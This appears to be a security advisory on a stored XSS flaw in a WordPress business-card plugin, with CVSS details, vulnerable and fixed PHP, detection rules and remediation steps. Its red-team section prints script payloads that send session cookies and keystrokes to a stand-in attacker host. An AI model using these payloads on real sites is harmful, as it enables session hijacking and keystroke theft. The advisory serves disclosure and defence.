CVE-2025-26952

Executive Summary

CVE-2025-26952 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Business Card Block by bPlugins, affecting versions up to and including 1.0.5. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the plugin’s block editor. When a site administrator or visitor loads a page containing the malicious block, the script executes in their browser, potentially leading to session hijacking, defacement, or data exfiltration. The CVSS score is 6.5 (Medium), and no public exploit or patch is currently available.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are affected. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors forking or distributing tampered versions.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – Victim must visit the compromised page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Content can be modified.
• Availability (A): Low (L) – Minor disruption possible.

Threat Level: Medium. Exploitation requires authenticated access, but the impact is amplified in multi-tenant WordPress environments.

Deep Dive & Mechanics

The vulnerability exists in the business-card-block plugin’s block registration and rendering logic. The plugin registers a custom Gutenberg block that accepts user input for fields such as name, title, company, and contact details. When rendering the block on the frontend, the plugin fails to sanitize or escape these inputs, allowing an attacker to inject HTML and JavaScript.

Attack Flow:

1. An authenticated user with contributor-level access or higher creates or edits a post/page.
2. The attacker inserts the Business Card Block and populates fields with malicious payloads, e.g., <script>alert('XSS')</script>.
3. The plugin stores the payload in the WordPress database without sanitization.
4. When any user (including administrators) views the post, the payload executes in their browser.

Root Cause: The plugin uses wp_kses_post() or similar insufficient filtering, or no filtering at all, on block attributes before rendering.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix.

Vulnerable Code (PHP):

function render_business_card_block($attributes) {
    $name = $attributes['name'];
    return '<div class="business-card">' . $name . '</div>';
}

Patched Code (PHP):

function render_business_card_block($attributes) {
    $name = esc_html($attributes['name']);
    return '<div class="business-card">' . $name . '</div>';
}

The patched version uses esc_html() to escape output, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Business Card Block <= 1.0.5 installed and activated.
• Attacker account with contributor-level privileges.

Steps:

1. Log in to WordPress as a contributor.
2. Create a new post and add the Business Card Block.
3. In the "Name" field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Publish the post.
5. When an administrator views the post, the script executes, exfiltrating their session cookie.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/log?key='+e.key);
});
</script>

Blue Team

Detection:

• Monitor for posts containing <script> tags in custom block fields.
• Use WAF rules to block requests with suspicious block attributes.

Hunting Query (SQL):

SELECT * FROM wp_posts WHERE post_content LIKE '%business-card-block%' AND post_content LIKE '%<script%';

Prevention:

• Disable the plugin until a patch is released.
• Restrict contributor roles from using custom blocks via user role editor plugins.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/business-card-block/ (entire plugin directory)
• Database: Posts containing <!-- wp:bplugins/business-card-block --> with unescaped HTML.
• Network: Outbound connections to attacker-controlled domains from WordPress admin pages.
• Logs: wp-content/debug.log entries showing PHP warnings related to block rendering.

Detection Engineering

YARA Rule

rule CVE_2025_26952_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Business Card Block plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-26952"
    strings:
        $block_marker = "business-card-block"
        $script_tag = /<script[^>]*>.*?<\/script>/s
    condition:
        $block_marker and $script_tag
}

Sigma Rule

title: Stored XSS via Business Card Block Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts in WordPress Business Card Block plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "wp-json/wp/v2/posts"
        http.body|contains: "business-card-block"
        http.body|contains|re: "<script[^>]*>.*?</script>"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in block content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26952 Stored XSS in Business Card Block"; flow:to_server; content:"business-card-block"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/si"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Audit existing posts for malicious block content using the SQL query in the Blue Team section.
3. Implement a Web Application Firewall (WAF) rule to block <script> tags in block attributes.

Long-Term Fix:

• The vendor must release a patched version that properly escapes output using esc_html() or wp_kses_post().
• Users should update to version 1.0.6 or later once available.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for this vulnerability.

Valters IT
Securing Digital Frontiers